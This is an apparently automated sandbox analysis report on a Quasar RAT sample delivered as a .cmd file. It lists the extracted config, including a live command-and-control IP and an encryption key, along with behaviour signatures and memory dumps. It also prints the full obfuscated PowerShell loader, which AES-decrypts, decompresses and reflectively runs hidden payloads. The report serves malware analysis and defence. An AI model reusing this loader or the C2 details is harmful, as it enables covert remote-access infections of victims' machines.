Analysis
- max time kernel
137s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
31/10/2024, 15:45
General
- Target ai6lyo.cmd
- Size 1.6MB
- Sample241031-s7dyvasmam
- SHA256 ce508fa9511aa4309eac4918f01af343cdd2bce0c73e9bce9e4206a13582e17d
Malware Config
Extracted
-
quasar
-
1.4.1
-
Office04
-
45.200.148.197:8080
-
b24e0ed5-7881-48ee-84be-d87223f56093
-
encryption_key
561A2408C473BBAB7B3AD5B4005F5481E98E07AC
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
-
subdirectory
SubDir
Signatures
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 1 IoCs
- Blocklisted process makes network request 6 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ai6lyo.cmd"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('ONtjvMqqcp75ptvrr9j0+odlpmHmbLzvPC2XW4Gf9+M='); $aes_var.IV=[System.Convert]::FromBase64String('47rSMPYtNq+Nh4BU6nAwCw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$gQudi=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$LEOeX=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$FqtiG=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($gQudi, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $FqtiG.CopyTo($LEOeX); $FqtiG.Dispose(); $gQudi.Dispose(); $LEOeX.Dispose(); $LEOeX.ToArray();}function execute_function($param_var,$param2_var){ IEX '$RIFHK=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$eirEp=$RIFHK.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$eirEp.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$FuLWv = 'C:\Users\Admin\AppData\Local\Temp\ai6lyo.cmd';$host.UI.RawUI.WindowTitle = $FuLWv;$SYigU=[System.IO.File]::ReadAllText($FuLWv).Split([Environment]::NewLine);foreach ($LWTox in $SYigU) { if ($LWTox.StartsWith('acqDyQRLClHWQnbxiXNC')) { $BDNyI=$LWTox.Substring(20); break; }}$payloads_var=[string[]]$BDNyI.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_2d3rnzm5.c21.ps1
memory/2256-34-0x0000022DE3800000-0x0000022DE38B2000-memory.dmp
memory/2256-30-0x0000022DE2520000-0x0000022DE252C000-memory.dmp
memory/2256-11-0x00007FFE3D0E0000-0x00007FFE3DBA1000-memory.dmp
memory/2256-38-0x00007FFE3D0E0000-0x00007FFE3DBA1000-memory.dmp
memory/2256-13-0x0000022DE28C0000-0x0000022DE2904000-memory.dmp
memory/2256-14-0x0000022DE2990000-0x0000022DE2A06000-memory.dmp
memory/2256-37-0x00007FFE3D0E0000-0x00007FFE3DBA1000-memory.dmp
memory/2256-36-0x00007FFE3D0E3000-0x00007FFE3D0E5000-memory.dmp
memory/2256-1-0x0000022DE23D0000-0x0000022DE23F2000-memory.dmp
memory/2256-35-0x0000022DE3A90000-0x0000022DE3C52000-memory.dmp
memory/2256-12-0x00007FFE3D0E0000-0x00007FFE3DBA1000-memory.dmp
memory/2256-31-0x0000022DE2A10000-0x0000022DE2B42000-memory.dmp
memory/2256-32-0x0000022DE2B40000-0x0000022DE2E64000-memory.dmp
memory/2256-33-0x0000022DE3400000-0x0000022DE3450000-memory.dmp
memory/2256-0-0x00007FFE3D0E3000-0x00007FFE3D0E5000-memory.dmp
memory/2972-26-0x00007FFE3D0E0000-0x00007FFE3DBA1000-memory.dmp
memory/2972-25-0x00007FFE3D0E0000-0x00007FFE3DBA1000-memory.dmp
memory/2972-21-0x00007FFE3D0E0000-0x00007FFE3DBA1000-memory.dmp
memory/2972-29-0x00007FFE3D0E0000-0x00007FFE3DBA1000-memory.dmp